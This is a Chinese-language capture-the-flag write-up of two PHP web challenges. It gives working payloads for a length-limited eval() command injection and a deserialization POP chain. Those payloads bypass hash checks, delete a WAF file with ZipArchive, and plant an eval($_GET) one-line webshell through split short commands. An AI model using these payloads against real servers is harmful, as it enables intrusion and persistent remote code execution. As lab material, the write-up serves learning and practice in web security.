error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>
解法1:
考察一些linux命令的小技巧
把ls的结果写进1
?nep=`ls>1`;&len=7
创建cat文件
?nep=`>cat`;&len=7
输⼊通配符*,Linux会把第⼀个列出的⽂件名当作命令,剩下的⽂件名当作参数。
?nep=`*>1`;&len=7
解法2:
?nep=`$nep`;ls>z&len=7
?nep=`$nep`;>cat&len=7
?nep=`$nep`;*>z&len=7
解法3:算是一个未收入到官方wp的非预期(学长太强了)
intval函数小技巧,7asdasd传进去,会被识别成7,遇到字母会停止,所以在intval数字后面加上系统命令,在nep处用$len
来执行内联命令,这样nep就不会被长度限制住
由于加不了echo,长度超标,所以只能写入shell,利用echo "" >> 1.php
来写入一句话木马
payload:
?nep=`$len`;&len=7;echo "" >> 1.php
记得要加上\转义$,不然$_POST会不见,还有就是不能带;,不然报语法错误
写入后就可以开蚁剑了
涉及到:
反序列化,代码审计
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
} success register admin
首先要绕过的是一个md5碰撞,一个sha1碰撞,都是三等号,md5很熟悉,sha1第一次见,查了一下,都可以用数组绕过
f($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
再看他的反序列化
@unserialize(base64_decode($_POST['unser']));
会先解码base64,所以我们重写类的时候就要先序列化再base64编码
class Game{
public $username="admin";
public $password="admin";
}
$data = new Game();
$data = serialize($data);
echo base64_encode($data);
成功进入到了register,但是register没什么用,要进login才有用
再看__wakeup方法,要进入login要让register为md5为21232f297a57a5a743894a0e4a801fc3
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
class Game{
public $username="admin";
public $password="admin";
public $register="admin";
}
$data = new Game();
$data = serialize($data);
echo base64_encode($data);
下一步的分析:
我们这样初始化public $register="admin";
就绕过了register的实例化,让choice成为login的对象,这样__destruct方法就会进去login的checking
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
进到login的checking方法,会让file来调用open(),这个open()属于Open()类,file如果想访问就要实例化成为Open的对象,由于waf.txt里面有内容,所以这个if里面的判断是永假的,所以设置好filename就行,content不用管
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class Open{
public function open($filename, $content){
if(!file_get_contents('waf.txt')){
echo($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
这就涉及到了pop链:
由于$this->file->open($this->filename,$this->content);
,所以要给file变量实例化一下
初始化Game,在file的初始化的时候给他的赋值是实例化Open()
class Game{
public $username="admin";
public $password="admin";
public $register="admin";
public $file;
public $filename="php://filter/read=convert.base64-encode/resource=shell";
public $content;
public function __construct(){
$this->file= new Open($this->filename,$this->content);
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
$game = new Game();
$game = serialize($game);
echo(base64_encode($game));
成功构造到pop链,可以看到file的内容又是一个序列化的对象,但是不能读取到shell.php,需要php协议读取
O:4:"Game":6:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";s:8:"register";s:5:"admin";s:4:"file";O:4:"Open":0:{}s:8:"filename";s:54:"php://filter/read=convert.base64-encode/resource=shell";s:7:"content";N;}
得到shell.php的源码
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
但是要执行里面的命令,必须让waf.txt消失掉,这就涉及到了php原生类
这里用到的是PHP的原生类 ZipArchive() 进行删除,它刚好也是有一个open($filename,$flags)
函数,而且当其第二个参数为 ZipArchive::OVERWRITE
时会删除文件,所以构造如下脚本,去生成payload,删除 waf.txt
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct() {
$this->username = "admin";
$this->password = "admin";
$this->register = "admin";
$this->file = new ZipArchive();
$this->filename = "waf.txt";
$this->content = ZipArchive::OVERWRITE;
}
public function __wakeup() {
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3") {
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
$game = new Game();
$game = serialize($game);
echo(base64_encode($game));
这样执行以下就把waf.txt删除了,此时if后的判断就是永真,接下来就是命令执行了,
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
过滤的很严,基本上可行的都没用了,选择短字符的命令执行
我们需要写一个文件,往里面写入一句话木马
eval($_GET[1]);
编码PD9waHAgZXZhbCgkX0dFVFsxXSk7
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
用\分隔开,每次赋值给content执行
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>FsxXSk\\
>kX0dFV\\
>XZhbCg\\
>waHAgZ\\
>PD9\\
>o\ \\
>ech\\
执行完后再执行
ls -t>0 //按时间排序
sh 0 //把内容作为shell执行
得到了1.php,可以去执行命令了
开换ip就好了,比较简单也没学到啥,就不写wp了